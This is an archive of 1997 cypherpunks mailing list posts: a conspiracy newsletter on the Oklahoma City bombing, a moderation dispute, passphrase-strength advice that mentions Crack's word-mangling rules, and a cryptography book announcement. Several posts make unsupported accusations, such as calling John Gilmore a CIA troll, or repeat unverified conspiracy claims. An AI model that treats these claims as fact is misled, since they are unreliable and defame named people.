~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From Robalini at aol.com Tue Feb 11 06:58:30 1997 From: Robalini at aol.com (Robalini at aol.com) Date: Tue, 11 Feb 1997 06:58:30 -0800 (PST) Subject: The Konformist: Viewer Mail Message-ID: <199702111458.GAA20706@toad.com> Note: Either you requested to receive a subscription to this e-mail, or someone else recommended you to be placed on this list. If you are interested in a free subscription, please e-mail Robalini at aol.com with the subject: I NEED TO KONFORM. (Okay, you can use something else, but it's a cool catch phrase.) Please e-mail me back with subject: CANCEL KONFORMIST if you're not interested in receiving this. Thanks, Robert Sterling. The following comments are from Alex Constantine. Subj: Jon Rappaport's Frauds Date: 97-01-27 14:29:28 EST From: alex at mach1.directnet.com (Alex Constantine) I want you to know I have no faith whatsoever in Rappaport. His "book" on the CIA and mind control is actually a file of transcripts compiled by Valerie Wolf, a New Orleans therapist. Rappaport wrote a five-page introduction, and he has since claimed ad nauseum that he is the "author" of the book. He is not. He did not even edit it. The material was used to advance his own career, and published as is. Yet he still claims he is the book's "author," and never corrects the many introductions in which he is credited with having "written" the thing. This is a fraud. His book on the OK bombing has its own problems, among them a reliance on General Partin of the Birch Society, discussed in my story on Calspan & McVeigh, and other dubious sources. This is not to say the book is totally false, but much of it does not check out. Rappaport also fawns over Bo Gritz. Need I say more? Robalini's Note: My sole experiences with Jon Rappaport is interviewing him on the phone and through my work with Jack Herer and the Hemp Legalization movement. Thief or not, Rappaport has a good collection of interesting info he's written about. As for General Partin and Bo Gritz, I take their information for what it is worth, and often it is worth a lot. Also from big Al: >>1) Alex Constantine, in his piece, has, to a degree, implied that McVeigh is >>guilty as charged but was brainwashed. > > I said specifically he was "monitored." I don't know if he was >brainwashed, and neither do you, but there is some evidence to support his >claim that he was implanted. Other killers in the article were NOT >brainwashed, and I did NOT "imply" that they were. Sweeny, the killer of >Allard Lowenstein, was ANGRY, not "brainwashed." The freeway killer in San >Francisco was NOT brainwashed, but ANGRY. The only brainwashed figure in >the story was Dan White. McVeigh was ANGRY, not BRAINWASHED. > >> Personally, I have some very serious >>doubts of his guilt, to say the least. I suspect McVeigh, though involved >>with the people who did the bombing, had no fucking clue what was going on. >> In fact, if you check out some other sites (including Tony Sgarlatti's web >>page at http://www.future.net/~thetruth/okc.html and the always stupendous >>Ian Goddard's http://www.erols.com/igoddard/facts.htm) you will soon discover >>that the evidence really leans to there being two bombs, and that neither of >>them actually came from the truck itself. > > I've talked to Scarlatti. He posted bogus information, and an >equally dubious explanation for the bogus information. I know there are >others involved, and possibly more than one bomb. Your view on the case >agrees with the militias, who I found to be lying on numerous occasions. >What I posted was an extract from a much longer story that answers many of >your questions, and clarifies some of the hazy areas and your >speculations. McVeigh is no innocent, but your analysis agrees with >Rappaport, whose book is totally made up of militia postings on the >Internet. Robalini's Note: Scarlatti's site, whatever the flaws are to it, is a mindblower, and should be read for that reason alone. I may add he's been very encouraging to The Konformist, and I'm certainly going to burn my bridges with him. Still, if you, or anyone else, has any specific criticisms of his (or other) sites, please let me know and I will forward it. As for the militas, well, I've never been into running around in the forest with guns (though it sounds kind of fun), and I suspect much of that crowd would hate my guts, but I believe they speak a lot of truth, and that their opinion needs to be heard. On the OK Bombing, in particular, they have been admirable in bringing forth evidence that the corporate media has pretended doesn't exist. In fact, if I fault militas members for anything, it is that they don't go far enough in their condemnation of society, and I think it is odd that a group which is very much anti-government could fawn over the military (the most powerful arm of the government) so pathetically. And, lets face it, racism and homophobia is quite rampant in the milta crowd (as it is in the rest of society), so I think there is quite a bit of fraudulence in many members claims of wanting "less government" and being for "freedom". But, hey, if I was going to cut off people who's opinion I disagreed with, I'd be living in a cave. Subj: Re: The Konformist - The Kempler Film Date: Sat, 08 Feb, 1997 06:11 PM EDT From: density4 at cts.com Greetings Brother Bob, >> RABIN ASSASSINATION FILM REVEALS CONSPIRACY >> by Barry Chamish You're aware, I take it, that Brother Barry Chamish is also fond of writing articles about UFOs and little grey space aliens. Don't believe me, check it out: http://www.cco.net/~trufax/ufo/angel.html -Brother Blue, B:.B:., 33x Sacerdotal Knight of National Security, etc. http://www.users.cts.com/sd/d/density4/index.html E Pluribus Caeruleus -- "Out of many, THAT WHICH IS BLUE" Robalini's Note: That's fine by me. I hope to get some UFO articles and the like out on this list, for, as I've stated before, I think so far The Konformist has been a little too politically oriented. I have been told by many people that that's a bad idea, that I should stick to this niche, but screw it, if UFO articles bug you, you can kiss my ass. ************************************************************ The Konformist is interested in accepting articles, opinions, free subscriptions, and advertising. E-mail us at Robalini at aol.com, or call (310) 967-4195. The Konformist is a subsidiary of Sterling Operation Solutions, the trouble-shooting problem-solvers for all business needs. We charge on a sliding scale based on the difficulty (and legality) of the proposed solution. Call (310) 967-4195 for further information. Hey kids, don't forget to enter the "Rockin' To Armageddon Sweepstakes", sponsored by The Konformist, the Official Internet Investigative Journal of the 1997 Academy Awards. (Okay, it's not official, but we're anti-authority anyways.) Right down the day, month, year, and time of the end of the world, and, as a tie-breaker, your nominee for the anti-Christ. The winner will receive a t-shirt stating, "I CameClosest To Predicting The Apocalypse, And All I Got Was This Crummy T-Shirt." You will also receive a free one year supply of Twix candy bars. Also, this is a free magazine, but we'll still take your money if you want. Please send cash, check, money orders, and credit card numbers (Visa, Master Card, American Express, or Discover) to: Robert Sterling Post Office Box 24825 Los Angeles, California 90024-0825 From aba at dcs.ex.ac.uk Tue Feb 11 07:00:11 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Tue, 11 Feb 1997 07:00:11 -0800 (PST) Subject: sci.crypt archive? Message-ID: <199702111500.HAA20737@toad.com> Paul Rubin writes: > Is anyone on cypherpunks archiving sci.crypt? I'd be interested > in getting hold of some articles from some years back... thanks There is some one who archives it, it's up for ftp. Look in the sci.crypt FAQ, or do a web search to find the URL. I grabbed a copy for Remo Pini for the crypto CD, but I've lost the URL. The Crypto CD (I have one) has Jan 92 to Sep 94 (articles 6871 to 32742) on it. See http://www.rpini.com/ if you're interested. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 How do you encourage people to use resources more-or-less wisely? 1. The socialist/nanny model - take charge and give 'em orders We've tried that and it apparently didn't work out. 2. The market model - charge people for what they use A while back, omebody suggested a system which would be self-funding, by charging people for each post they made. Maybe we should try it? If each little piece of ASCII art cost a poster a buck or two to send, he might send fewer. On the other hand, we don't want to discourage interesting posters, so I think some system to reimburse interesting posters would be useful. I'm not the guy to set up the system, but I'll happily buy a modest amount of "posting tickets." Brad On Tue, 11 Feb 1997, John Gilmore wrote: > Sandy hit a pothole in the moderation experiment when Mr. Nemesis > submitted a posting containing nothing but libelous statements about > Sandy's employer. He never anticipated that he wouldn't be able to > follow his announced "post it to one list or the other" policy because > to do so would make him legally liable (in his opinion; he's a lawyer, > I'm not). His gears jammed, and the whole machine came to a halt for > a few days. > > Sandy has agreed to continue moderation through the end of the > original 1-month experiment (through Feb 19). And it's a good thing, > too, because the "cypherpunks community" had better get off its > whining butt in the next ten days, or it will no longer exist. > > I've come to the conclusion that I'm not willing to host the > cypherpunks list any more. It's not the true assholes that brought me > to this decision; it's the reaction from the bulk of people on the > list: suspicion, flamage, and criticism with every attempt to improve > things. I noticed few people volunteering some of their own time, > money, or machines to help out. Almost all the suggestions were > advice for *other* people to implement: > ... From dlv at bwalk.dm.com Tue Feb 11 07:04:40 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 11 Feb 1997 07:04:40 -0800 (PST) Subject: Proposal: alt.cypherpunks (unmoderated) In-Reply-To: <855650862.27942@dejanews.com> Message-ID: <2uoy2D14w165w@bwalk.dm.com> gbroiles at netbox.com writes: > > Some people, including myself, believe that the Cypherpunks mailing list > (cypherpunks at toad.com), running since sometime in 1992, has outgrown the > mailing list format and should move to Usenet. The advantages once gained > by running as a mailing list (faster propagation, more personal/intimate > atmosphere, freedom from Usenet-style flames & spams) are no longer > present. Questions about the appropriateness of moderation, moderator > liability for various "bad" kinds of messages, and the potential for > content control where there is a single point for distribution have > become very prominent concerns among list members. It's time to move to > Usenet. Greg Broils works for Sameer Parekh's C2Net - as does Sandy Sandfart. Given Sandy's recent actions, I think any such proposal coming from a C2Net employee should be viewed with extreme suspicion. > Hence, this prelude to a newgroup. Two cypherpunk-related newsgroups now > exist; mail.cypherpunks and jyu.ohjelmointi.cypherpunks. mail.cypherpunks > is unsatisfactory to become a destination for Usenet-originated > cypherpunk traffic because its name implies that it's a gateway from a > mailing list. This is presently true, but this proposal is intended to > create a newsgroup which supplements or replaces the current mailing > list. I've got no clue where "jyu.ohjelmointi.cypherpunks" originates, > who's in charge of it, or what "jyu.ohjelmointi" is or stands for. > Judging from the limited selection of messages which seem to reach > DejaNews and AltaVista from it, it suffers from relatively poor > propagation. Greg probably doesn't know where "Finland" is. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dthorn at gte.net Tue Feb 11 07:15:53 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 11 Feb 1997 07:15:53 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702111154.DAA16237@toad.com> Message-ID: <33008CCE.28E0@gte.net> John Gilmore wrote: > Sandy hit a pothole in the moderation experiment when Mr. Nemesis > submitted a posting containing nothing but libelous statements about > Sandy's employer. He never anticipated that he wouldn't be able to > follow his announced "post it to one list or the other" policy because > to do so would make him legally liable (in his opinion; he's a lawyer, > I'm not). His gears jammed, and the whole machine came to a halt for > a few days. Naturally he hit a pothole. Censorship has its price, and you folks just discovered it. But censors never give up, do they? Especially when there are hidden agendas. > Sandy has agreed to continue moderation through the end of the > original 1-month experiment (through Feb 19). And it's a good thing, > too, because the "cypherpunks community" had better get off its > whining butt in the next ten days, or it will no longer exist. John Gilmore is so disrespectful of the human beings on this list that he whines and complains about their "attitudes", as though he had a right to control them. What a jerk. > I've come to the conclusion that I'm not willing to host the > cypherpunks list any more. It's not the true assholes that brought me > to this decision; it's the reaction from the bulk of people on the > list: suspicion, flamage, and criticism with every attempt to improve > things. I noticed few people volunteering some of their own time, > money, or machines to help out. Almost all the suggestions were > advice for *other* people to implement: Not willing because of some additional burden? No. It's because you were outed as a censor and a jerk, and you can't get back the respect you previously had. The sour grapes you're displaying here are worthy of a little child, not an adult. > Now each of these posters will get their chance to do it "right" -- > on their own time and with their own resources. Read: I'm gonna take my bat and ball and go home... > A large fraction of the list seems to think that "freedom of speech" > means that everyone is required to listen to everyone else at all > times. That there can't be focused, topical conversations in a > society that has freedom of speech. I would say the opposite; part of > freedom of speech is the freedom to choose to whom we speak and to > whom we listen. This is part of what cryptography does: lets us > control who can receive our speech, and lets recievers determine who > the speaker is. Everything was fine until you decided to screw it up. Then your emotional, denying little brain trys to blame it on everyone else. > There also seems to be a misunderstanding that freedom of speech > requires that people who want to speak already have a place, set up > and maintained by someone else, for them to speak in. There are places to speak, and people try to speak in those places. When they are cut off, then they complain. Nobody complained before you had an open forum that you weren't providing same. That's your denial kicking up, not mine. > If someone > who's set up a speech-place decides it isn't being used for its > intended purpose, then they are a censor, stopping all possibility of > conversations. Did you forget that there are millions of other places > to speak in cyberspace, millions more in realspace, and that you can > personally create more if you don't like any of the ones you know about? Intended purpose? Did you really believe that setting up an open forum gave you the right (or any option) to control the content? Are you so immature that you can't handle complaints? > To paraphrase Zappa, you wouldn't know censorship if it bit you on the > ass. You think you're being censored when you're just being excluded > from a forum because what you're saying isn't interesting to that forum. I know a lot of things, especially after they've bit be in the ass. Especially about censors and CIA-related trolls like yourself, who set up forums to collect info on unsuspecting American citizens. Made any "yeti" expeditions lately? > So anyway, I'm tired of it all. I'd much rather focus on getting my > crypto work done than babysitting majordomo, tracking down attempts to > subscribe the entire US Congress to the list, and debating the seventy > or eighty "obvious right ways" to handle the list. Read: I need to find a new troll that's not being sabotaged by alert citizens. > This is a "put up or shut up" to the cypherpunks community. > Either you list denizens will, among yourselves, put in the energy to > build a new home for the list (and run it in whatever way your > volunteers want) by Feb 20, or the list will cease to exist on Feb 20. Jeez, do you have an ego or what? Who died and made you the king? Your only claim to fame is your equipment that's hosting the list. Your reputation is in the toilet. You're nobody. In fact, you're less than nobody. Your best bet would be to crawl into a hole and pull the dirt in over you. > The next ten days of moderated discussion, through the end of the > original experiment, will give the community a chance to discuss > whether and where it plans to host the list after the experiment is > over. My feeling is that the stalkers who have been trying to shut it > down (Dimitri, etc) will be out in full force, trying to disrupt the > process of finding a new home. It would be very hard to make progress > along that line in an unmoderated list. Cypherpunks-unedited readers > are welcome to try. Yet another accusation that Dimitri's purpose is to "shut it down". The very fact that it's you who have the com puts the lie to that. > Sandy reports that he's changing his criteria for moderation for the > remainder of the experiment. It was his idea, and I approve. The > criteria now are: Another experiment run by the same incompetent bozo who screwed up the first experiment. Don't you clowns ever get it? You do, but then again, you have a hidden agenda. > * The topics of the list are: > cryptography > setting up replacements for cypherpunks at toad.com > * On-topic, legal, posts will go to the list. > * Postings with any hint of legal liability (in Sandy's opinion) > will be silently ignored. > * Legal but off-topic posts will go to cypherpunks-flames. > > Sandy will apply these criteria retroactively to the backlog (of about > 140 messages), which means that most recent criticisms of the > moderation (which don't invove someone volunteering to do things for > the list) will go straight to the flames list. If you don't like it, > I recommend that you start your own list. Soon. > > For me it's a sad thing that the community's willingness to pull > together has degenerated to the point where I feel better off > separating from the list. I hope that others in the community will > create one or several alternatives that work better. So you think you've fulfilled your obligation? There's only one thing that will ever save you. Get down on your knees and confess, saying to God and the list subscribers what a pathetic sinner you are, and beg for their forgiveness. Then get to work for the people, and give up trolling for the feds. From dthorn at gte.net Tue Feb 11 07:26:42 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 11 Feb 1997 07:26:42 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: Message-ID: <33008EB2.6D86@gte.net> Brad Dolan wrote: > How do you encourage people to use resources more-or-less wisely? > 1. The socialist/nanny model - take charge and give 'em orders > We've tried that and it apparently didn't work out. > 2. The market model - charge people for what they use > A while back, omebody suggested a system which would be self-funding, by > charging people for each post they made. Maybe we should try it? If > each little piece of ASCII art cost a poster a buck or two to send, he > might send fewer. On the other hand, we don't want to discourage > interesting posters, so I think some system to reimburse interesting > posters would be useful. > I'm not the guy to set up the system, but I'll happily buy a modest amount > of "posting tickets." When you're a spy, you usually pay for info. In John's case, he's been getting the info for free. Now you're suggestion he charge people for providing him the info. This is not the direction John wants to go. He just wants cleaner info, that's all. From adam at homeport.org Tue Feb 11 08:01:37 1997 From: adam at homeport.org (Adam Shostack) Date: Tue, 11 Feb 1997 08:01:37 -0800 (PST) Subject: Passphrase generation In-Reply-To: <199702111426.GAA19838@toad.com> Message-ID: <199702111558.KAA01013@homeport.org> You want to think about how does someone attack the passphrase? Essentially, there are dictionary methods, where probably passphrasess are checked. These are enhanced by the use of changers, where the word is modified in ways common to people changing passwords: target Target targeT target0 0target target1 Crack, by Alex Muffet, produces on the order of 1000 derived words per word its given. I use phrases of 30-90 pink elephants with some arbitrary pizzas tossed on the floor. Adam Jeremiah A Blatz wrote: -- Start of PGP signed section. | Internaut writes: | > Hi, | > I am wanting to learn how to generate a passphrase that is at least as | > strong as the IDEA algorithm. I have looked several other places on the | > web for an answer to this, but they all had different things to say that | > didn't add up (no pun intended :). | | Chech out the cannonical passphrase FAQ: | http://www.stack.nl/~galactus/remailers/passphrase-faq.html | | This one has some quick reminders of what to do and not to do | http://www.encryption.com/pphrase.htm | | Bottom line, totally random ASCII will have lots of bits per | character, but english has about 1.2 bits per character. Misspellings | can add to that, depending on the extent of mutillation . Combining | certain words can make your passphrase weaker (such as "To be or not | to be," "This is my passphrase," etc.). | | HTH, | Jer | | "standing on top of the world/ never knew how you never could/ never knew | why you never could live/ innocent life that everyone did" -Wormhole -- End of PGP signed section. -- "It is seldom that liberty of any kind is lost all at once." -Hume From talon57 at well.com Tue Feb 11 08:04:46 1997 From: talon57 at well.com (Brian D Williams) Date: Tue, 11 Feb 1997 08:04:46 -0800 (PST) Subject: [CRYPTO] Classic Cryptography Message-ID: <199702111604.IAA26274@well.com> FOR IMMEDIATE RELEASE 6 February 1997 Aegean Park Press proudly announces publication of CLASSICAL CRYPTOGRAPHY COURSE - VOLUME II by Randall K. Nichols [LANAKI]. [ISBN: 0-89412-264-9, 1997, 464 pages, $US 40.80 ] Volume II presents Lectures 11 - 22 (of a total of twenty five) from his successful course in Classical Cryptography taught in 1995 and 1996 to 391 students via the Internet and an additional 65 via regular mail. Volume II covers polyalphabetic substitutions ciphers in the Vigenere family (Viggy, Variant, Beaufort, Porta, Gronsfeld, Portax, Gromark), decimation, principles of symmetry, isologs and superimposition solution techniques. Volume II describes the difficult aperiodic cipher systems (Interrupted key, Autoclave, Progressive, Running Key used in cipher machines) and their analysis by isomorphs, and repetitions. Cryptarithm solutions for extended bases are presented. The theory of coincidences and statistical attacks (Kappa, Chi, Phi) derived from this important theory are detailed. Transposition theory and a variety of transposition ciphers are solved (Columnar, Amsco, Myszkowski, Cadenus, Grille, Swagman, Auto-Transposition). Volume II has two chapters on the difficult cipher systems invented by the famous French cryptographer Delastelle: Foursquare, Bifid and Trifid. Volume II presents a detailed chapter on passwords, law and data protection. Volume II ends with a historical look at codes, commercial code systems, and famous cipher machines. Volume II is a potpourri of advanced topics in classical cryptography. The Cryptographic Resources and References section has been expanded to cover all phases of involvement with cryptography: cryptanalysis, history, legal, social, classical, modern, NSA, mathematical techniques, recreational, intelligence, tactical, strategic, National Defense, INFOSEC: offensive and defensive, hardware, software, standards, public key cryptography, web sources, and applicable Senate and House bills. Readers are encouraged to expand their knowledge in the many directions possible to them through this section. For orders or Information Contact: Aegean Park Press, P.O. Box 2837, Laguna Hills, Ca. 92654. Telephone: 1-800-736-3587; Fax: 1-714-586-8269. Group discounts available. REVIEW OF CLASSICAL CRYPTOGRAPHY COURSE, VOLUME I By the Honorable David Kennedy, Director of Research, NCSA. Classical Cryptography Course, Volume I. By Randall K. Nichols; published by Aegean Park Press, (714) 586-8811 (phone) (714) 586-8269 (fax); (800) 736 - 3587; 301 pages (with index); $34.80 (American Cryptogram Association members receive a 20% discount through ACA or NCSA Members receive a 10% discount if purchased from the NCSA Bookstore) In Classical Cryptography Course, Volume I, author Randall K. Nichols has created a benchmark for serious students of the science of cryptography. This is a text. It is for learning, and with it one cannot help but learn about the foundations of the science. An outgrowth of Nichols' admitted "labor of love" in the online Cryptography Courses he teaches over the Internet, Volume I creates the foundation for understanding the development of the science. The ten chapters of this volume lead the student through simple substitutions, substitutions with variants, multiliteral substitutions, xenocrypts (foreign language substitutions), cryptarithms, the Enigma machine (separate Enigma95 program disk available direct from the author) and finally to polyalphabetic substitutions. Seven chapters conclude with problems; solutions and discussions are provided in an appendix. The text is indexed with twenty-four pages of references for further study. I found Nichols' sense of the history of cryptography particularly noteworthy. The volume is liberally salted with citations from history with applications of the methods developed in the text. From Revolutionary France through the American Civil War, the Tammany Hall scandal, Revolutionary Soviet ciphers and Japanese successes against Chinese codes prior to Pearl Harbor, the text provides touchstones for student to understand and relate to. Phil Zimmermann observed in the documentation to his Pretty Good Privacy Program to "Beware of Snake Oil." Among his arguments is this anecdote: I remember a conversation with Brian Snow, a highly placed senior cryptographer with the NSA. He said he would never trust an encryption algorithm designed by someone who had not "earned their bones" by first spending a lot of time cracking codes. Where Schneier's Applied Cryptography is a crash course in some encryption protocols and algorithms in use today, Nichols' text begins the teaching of Snake Oil detection and prevention. Learning the fundamentals, developed throughout the text, brings a richer understanding of the science, it's history and insight into it's possibilities and some vulnerabilities lurking for the unwary. Nichols plans for release Volume II in the series with advanced material on from the online course which includes statistical attacks and transposition in February, 1997. Reviewer: Dave Kennedy, CISSP, is Director of Research for the National Computer Security Association, Carlisle, PA. He is a retired Army military police officer and member of NCSA, ASIS, ISSA and the Computer Security Institute. From alan at ctrl-alt-del.com Tue Feb 11 08:31:33 1997 From: alan at ctrl-alt-del.com (Alan Olsen) Date: Tue, 11 Feb 1997 08:31:33 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702111458.GAA20705@toad.com> Message-ID: <3.0.1.32.19970211083054.02e60618@mail.teleport.com> -----BEGIN PGP SIGNED MESSAGE----- At 05:50 AM 2/11/97 -0800, Sandy Sandfort wrote: >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > SANDY SANDFORT > . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . > >C'punks, > >You have probably just read John's post. I truly hope YOU (each >and every one of you) can rise to his challenge. If you have >offered nothing in the past but criticism, it's now time to get a >bit more real. What will it be, your money, time, equipment? What kind of memory requirements/machine load does the list eat up? I have a machine that may fit this purpose... (Need to know if I need to upgrade the box though.) -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAwUBMwCeq+QCP3v30CeZAQGpwAf+MXRvC4wB6LeJkwsQa7yWI1g2TEYFJZ6O 1wD1S1QeRu1GMGRfUC3/9OTsQFijQLrOVb3MIXiy7bYxzcZsShd2cgKf4cL3HhjV T/PH1M2uUEpOJEHLF4jCKvspySgCuLfHK+7V0+fNRO0MFQZZeCNvEd2Awog8Ue0q OIi/jwBvzNITeBQzGu8zrBuS3VHWjMmi66kio1GV6xFL+JLwQWMsi6hT8hSiZ/TT fOhvAfECT/hGFFDdu3/R0JYkw1B9IO7Uh0NNgH1pl7HoJiBWfU/HTDoRsruKkweX 7eDVPxB0MR10Q5XCeoH1EA3Lwd3HdNFVEsUJc+myjN58vnZ5Vo+TGQ== =CWO1 -----END PGP SIGNATURE----- --- | "Mi Tio es infermo, pero la carretera es verde!" | |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | | mankind free in one-key-steganography-privacy!" | Ignore the man | |`finger -l alano at teleport.com` for PGP 2.6.2 key | behind the keyboard.| | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| From jya at pipeline.com Tue Feb 11 08:45:53 1997 From: jya at pipeline.com (John Young) Date: Tue, 11 Feb 1997 08:45:53 -0800 (PST) Subject: STE_pup Message-ID: <1.5.4.32.19970211163947.006cc8bc@pop.pipeline.com> 2-10-97: "Euro's creation raises money laundering fears" OECD task force report(*) identifies perils of a single currency and suggests Russian crime groups are linking up with the Mafia and Colombian drug cartels for laundering the new currency. Warns of other e-cash hazards. "Visa to Test Cards For Possible Use On the Internet" E-cash cards to be manufactured by Schlumberger and will use "virtually unbreakable" public-key cryptography. "Computer Security Becomes Biometric With Print Matching" Oracle's new fingerprint checking device to assure bona fide log-on privileges. Covers other such devices, quotes a maker: "if criminals or hackers get through these, industry will step up one more level." ----- STE_pup * A search is on for the report. Leads welcomed. The task force met last week in Paris. From stend at sten.tivoli.com Tue Feb 11 08:46:39 1997 From: stend at sten.tivoli.com (Firebeard) Date: Tue, 11 Feb 1997 08:46:39 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702111340.FAA18603@toad.com> Message-ID: >>>>> John Gilmore writes: JG> Sandy has agreed to continue moderation through the end of the JG> original 1-month experiment (through Feb 19). And it's a good JG> thing, too, because the "cypherpunks community" had better get off JG> its whining butt in the next ten days, or it will no longer exist. [...] JG> This is a "put up or shut up" to the cypherpunks community. This appears to be as good a time as any to announce that I'm "putting up". I've already taken steps, along with Jim Choate, to start a network of majordomos hosting a Cypherpunks mailing list. I didn't intend to announce this until Jim and I had gotten the first pair of 'domos working properly, but this means that we'll need to speed things up. Our intention is to have a set of majordomos which are intersubscribed to a cypherpunks list on each one, with measures taken to ensure that mail loops don't develop. As the resulting mailing list from each 'domo will be identical, periodically (initially weekly), the subscriber lists of all of the participating majordomos will be compared, with any duplicate subscribers being removed from the 'domo(s) with the longest subscriber list. There will be no filtering done of any mail to the collective list, although anyone interested in providing a filtered list will be welcome to subscribe to the list. Anyone interested in joining the 'domo network with the conditions described (duplicate subscriber checking and no filtering) is welcome. John, I'd appreciate your permission to use your Cypherpunks welcome message as the basis for the welcome message of this new list. Also, while we will make every effort to have this new list available for subscriptions by Feb 20, I'd appreciate it if you could consider making the current list available for a short period longer if we encounter unanticipated difficulties. -- #include /* Sten Drescher */ ObCDABait: For she doted upon their paramours, whose flesh is as the flesh of asses, and whose issue is like the issue of horses. [Eze 23:20] ObFelony: President Clinton, you suck, and those boys died! Unsolicited bulk email will be stored and handled for a US$500/KB fee. From Kevin.L.Prigge-2 at tc.umn.edu Tue Feb 11 08:48:31 1997 From: Kevin.L.Prigge-2 at tc.umn.edu (Kevin L Prigge) Date: Tue, 11 Feb 1997 08:48:31 -0800 (PST) Subject: Digital Signature Legislation (MN) Message-ID: <3300a2cc0a96002@noc.tc.umn.edu> Minnesota Legislature has a bill pending in both houses regarding digital signatures, defines certification authorities, and provides for licensing of authorities. http://www.revisor.leg.state.mn.us/cgi-bin/bldbill.pl?bill=H0056.0&session=ls80 http://www.revisor.leg.state.mn.us/cgi-bin/bldbill.pl?bill=S0173.0&session=ls80 A quick read looks good, although I am not a lawyer. This only affects digital signatures used in financial transactions, AFAIK, and does not prohibit non-licensed cert authorities. -- Kevin L. Prigge | Some mornings, it's just not worth Systems Software Programmer | chewing through the leather straps. Internet Enterprise - OIT | - Emo Phillips University of Minnesota | From anand at querisoft.com Tue Feb 11 08:56:33 1997 From: anand at querisoft.com (anand abhyankar) Date: Tue, 11 Feb 1997 08:56:33 -0800 (PST) Subject: sandy who?? Message-ID: <199702111656.IAA22307@toad.com> hi guys, i am a new addition on the mailing list. i am amazed to find that half the mails talk about "sandy (god knows who he is) and he censoring mails" rather than crypto stuff. somebody please let me know who sandy is and what exactly is this censoring issue. anand.... From dthorn at gte.net Tue Feb 11 08:56:36 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 11 Feb 1997 08:56:36 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702111656.IAA22315@toad.com> Brad Dolan wrote: > How do you encourage people to use resources more-or-less wisely? > 1. The socialist/nanny model - take charge and give 'em orders > We've tried that and it apparently didn't work out. > 2. The market model - charge people for what they use > A while back, omebody suggested a system which would be self-funding, by > charging people for each post they made. Maybe we should try it? If > each little piece of ASCII art cost a poster a buck or two to send, he > might send fewer. On the other hand, we don't want to discourage > interesting posters, so I think some system to reimburse interesting > posters would be useful. > I'm not the guy to set up the system, but I'll happily buy a modest amount > of "posting tickets." When you're a spy, you usually pay for info. In John's case, he's been getting the info for free. Now you're suggestion he charge people for providing him the info. This is not the direction John wants to go. He just wants cleaner info, that's all. From adam at homeport.org Tue Feb 11 08:58:24 1997 From: adam at homeport.org (Adam Shostack) Date: Tue, 11 Feb 1997 08:58:24 -0800 (PST) Subject: Passphrase generation Message-ID: <199702111658.IAA22391@toad.com> You want to think about how does someone attack the passphrase? Essentially, there are dictionary methods, where probably passphrasess are checked. These are enhanced by the use of changers, where the word is modified in ways common to people changing passwords: target Target targeT target0 0target target1 Crack, by Alex Muffet, produces on the order of 1000 derived words per word its given. I use phrases of 30-90 pink elephants with some arbitrary pizzas tossed on the floor. Adam Jeremiah A Blatz wrote: -- Start of PGP signed section. | Internaut writes: | > Hi, | > I am wanting to learn how to generate a passphrase that is at least as | > strong as the IDEA algorithm. I have looked several other places on the | > web for an answer to this, but they all had different things to say that | > didn't add up (no pun intended :). | | Chech out the cannonical passphrase FAQ: | http://www.stack.nl/~galactus/remailers/passphrase-faq.html | | This one has some quick reminders of what to do and not to do | http://www.encryption.com/pphrase.htm | | Bottom line, totally random ASCII will have lots of bits per | character, but english has about 1.2 bits per character. Misspellings | can add to that, depending on the extent of mutillation . Combining | certain words can make your passphrase weaker (such as "To be or not | to be," "This is my passphrase," etc.). | | HTH, | Jer | | "standing on top of the world/ never knew how you never could/ never knew | why you never could live/ innocent life that everyone did" -Wormhole -- End of PGP signed section. -- "It is seldom that liberty of any kind is lost all at once." -Hume From dthorn at gte.net Tue Feb 11 08:58:24 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 11 Feb 1997 08:58:24 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702111658.IAA22392@toad.com> Sandy Sandfort wrote: > You have probably just read John's post. I truly hope YOU (each > and every one of you) can rise to his challenge. If you have > offered nothing in the past but criticism, it's now time to get a > bit more real. What will it be, your money, time, equipment? What challenge? An offer to break code for money? Not likely, is it? > I would hope that the loudest advocates of "free speech" turn out > to be the most generous, but I'm not holding my breath. Maybe > the solution(s) will come from you lurkers. I hope you can put > down your beer long enough to get involved. Generous with what? Get involved with crypto? That's why they're here in the first place, yes? > Finally, if anyone wants to discuss why the Cypherpunk list has > come to this, or what I did right or wrong as a moderator, let's > talk about--on the new list(s) YOU create. For now, though, it's > off-topic. We have work to do. I think they already talked about it, and the decision is in. What does "off-topic" mean? Does it mean further criticism will be censored? > P.S. To all those people who privately supported me in my attempt > to help the list deal with its problems, thank you. Help the list? You almost destroyed the list. If you wanted to help, you should have provided lessons on filtering. > I wouldn't have come back without your and John's encouragement. A lot of people wish you hadn't come back. From talon57 at well.com Tue Feb 11 08:59:44 1997 From: talon57 at well.com (Brian D Williams) Date: Tue, 11 Feb 1997 08:59:44 -0800 (PST) Subject: [CRYPTO] Classic Cryptography Message-ID: <199702111659.IAA22423@toad.com> FOR IMMEDIATE RELEASE 6 February 1997 Aegean Park Press proudly announces publication of CLASSICAL CRYPTOGRAPHY COURSE - VOLUME II by Randall K. Nichols [LANAKI]. [ISBN: 0-89412-264-9, 1997, 464 pages, $US 40.80 ] Volume II presents Lectures 11 